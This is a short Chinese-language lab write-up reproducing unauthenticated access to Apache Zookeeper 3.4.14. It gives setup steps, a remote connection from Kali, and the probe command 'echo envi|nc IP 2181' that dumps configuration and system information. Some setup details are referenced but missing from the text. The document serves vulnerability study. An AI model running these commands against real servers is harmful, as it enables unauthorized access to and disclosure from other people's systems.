漏洞复现

漏洞原理

个人理解是没有进行权限控制所致。 

复现环境

Microsoft Windows 10 专业版

Zookeeper 3.4.14

Java JDK 1.8.0_181

复现过程

1.环境配置

下载zookeeper：http://archive.apache.org/dist/zookeeper/

下载完成后本地解压，conf目录下的zoo_sample.cfg文件重命名名为zoo.cfg，并做如下修改：

找到bin目录下的zkEnv.cmd并编辑：

2.Zookeeper启动和连接尝试

cd到bin目录，启动Zookeeper：zkServer.cmd

本机另开一个cmd，尝试连接：zkCli.cmd -server IP:2181

连接成功，并执行命令：ls /

3.未授权访问

在kali上尝试远程连接，用zkCli.cmd会报错，换成zkcli.sh 

直接连上了。。。。

可执行各种操作：

可查看相关配置和操作系统信息：echo envi|nc IP 2181

本文仅用于技术学习和交流，严禁用于非法用途，否则产生的一切后果自行承担。  

如需转载，请注明出处，这是对他人劳动成果的尊重。